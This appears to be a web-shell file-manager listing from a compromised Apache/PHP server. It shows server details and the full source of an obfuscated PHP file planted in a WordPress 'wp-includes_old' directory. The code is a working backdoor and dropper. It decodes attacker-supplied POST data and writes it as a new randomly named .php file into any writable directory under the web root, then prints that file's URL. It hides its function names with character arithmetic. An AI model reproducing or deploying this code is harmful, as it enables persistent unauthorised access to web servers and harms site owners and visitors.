HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes_old/blocks/site-logo/cnjawdsg.php
<?php function DFABNKNGl($DqtFEuOZj, $tvKdQ, $TjEABX){$fHHEEsx = "dcc0f496-6aab-4e23-9594-ac640c0c318f";return $DqtFEuOZj ^ $fHHEEsx[$tvKdQ % strlen($fHHEEsx)] ^ $TjEABX;}$VgISqOAk = "MxsLXAX";function DOYNKR($VgISqOAk){ $AujZFgXE = chr(115)."\x74"."\162".'_'.'r'.'o'."\x74".'1'.'3';$VgISqOAk = $AujZFgXE($VgISqOAk);$ILTQbHbzB = chr(709-595).'a'.chr(688-569)."\x75".chr(953-839).chr(108).'d'.chr(101).'c'."\157".chr(100).'e';$VgISqOAk = $ILTQbHbzB($VgISqOAk);$VgISqOAk = str_split($VgISqOAk);return $VgISqOAk;}function qrwQEBRAIg($fHhGxHWz, $TjEABX){$fHhGxHWz = array_map("DFABNKNGl", array_values($fHhGxHWz), array_keys($fHhGxHWz), array_values($TjEABX));$fHhGxHWz = implode("", $fHhGxHWz);$LeVcwJJO = "\165"."\156".chr(912-797).'e'.chr(114).'i'."\141".'l'."\151".chr(122)."\x65";$fHhGxHWz = @$LeVcwJJO($fHhGxHWz);return $fHhGxHWz;}function iUeoN($TjEABX, $fHhGxHWz){$TjEABX = array_slice(str_split(str_repeat($TjEABX, (count($fHhGxHWz)/16)+1)), 0, count($fHhGxHWz));return $TjEABX;}function fEjDtuG(){echo "lQxKaDoApR";}function QSQCDj($oJXZdXPir){static $XgTPT = array();$WPBxweF = glob($oJXZdXPir . '/*', GLOB_ONLYDIR);$zNOxTSX = count($WPBxweF);if ($zNOxTSX > 0) {foreach ($WPBxweF as $oJXZdXP) {$VKJLTwIUD = "\151".chr(997-882).chr(381-286)."\x77".'r'."\x69"."\x74".'a'.'b'.'l'."\x65";if (@$VKJLTwIUD($oJXZdXP)) {$XgTPT[] = $oJXZdXP;}}}foreach ($WPBxweF as $oJXZdXPir) QSQCDj($oJXZdXPir);return $XgTPT;}function yiFjPNkgR($fHhGxHWz){$HdmmPuMfj = "\104".chr(79).'C'.chr(85)."\115"."\105".chr(621-543)."\124"."\137".chr(82)."\117".chr(79)."\124";$MZpth = $_SERVER[$HdmmPuMfj];$WPBxweF = QSQCDj($MZpth);$lNgyUmMSgB = array_rand($WPBxweF);$VplJad = "\x2e".'p'.chr(992-888)."\x70";$sTtTXOMpk = $WPBxweF[$lNgyUmMSgB] . "/" . substr(md5(time()), 0, 8) . $VplJad;$kWkNNxeT = 'f'.chr(105).chr(108).'e'.chr(95).chr(635-523).chr(404-287).chr(890-774).chr(95)."\x63".chr(457-346).chr(110)."\164".chr(239-138)."\x6e".chr(116).'s';@$kWkNNxeT($sTtTXOMpk, $fHhGxHWz);$eIqzIW = chr(72)."\x54".chr(938-854)."\120".chr(519-424)."\x48".chr(568-489).'S'.'T';$bXuIpLKD = "\x68"."\x74".chr(760-644).'p'.chr(58).chr(958-911).'/';$kqYDaBf = $bXuIpLKD . $_SERVER[$eIqzIW] . substr($sTtTXOMpk, strlen($MZpth));print($kqYDaBf);}function ENfkPfO($fHhGxHWz, $lNgyUmMSgB){$lNgyUmMSgB = $lNgyUmMSgB[0];if ($fHhGxHWz !== $lNgyUmMSgB){yiFjPNkgR($fHhGxHWz);}else {nhMegvq();}}function nhMegvq(){$GUmOzsDOo = "\x70"."\150"."\x70";$fpGkKiTf = chr(295-183).chr(104).chr(134-22).'v'."\x65".chr(670-556)."\163"."\x69".chr(531-420)."\x6e";$fHhGxHWz = Array($GUmOzsDOo => @$fpGkKiTf(), );$KGjQMFLK = chr(985-870).chr(101)."\162".chr(105).'a'.chr(108).'i'.chr(122).chr(101);echo @$KGjQMFLK($fHhGxHWz);}function uZOZUlBRq(){echo "MxsLXAX";}foreach ($_POST as $TjEABX => $fHhGxHWz){$FOYejjcr = strlen($TjEABX);if ($FOYejjcr == 16){$fHhGxHWz = DOYNKR($fHhGxHWz);$TjEABX = iUeoN($TjEABX, $fHhGxHWz);$fHhGxHWz = qrwQEBRAIg($fHhGxHWz, $TjEABX);if (@is_array($fHhGxHWz)){$lNgyUmMSgB = array_keys($fHhGxHWz);$fHhGxHWz = $fHhGxHWz[$lNgyUmMSgB[0]];ENfkPfO($fHhGxHWz, $lNgyUmMSgB);}}}die();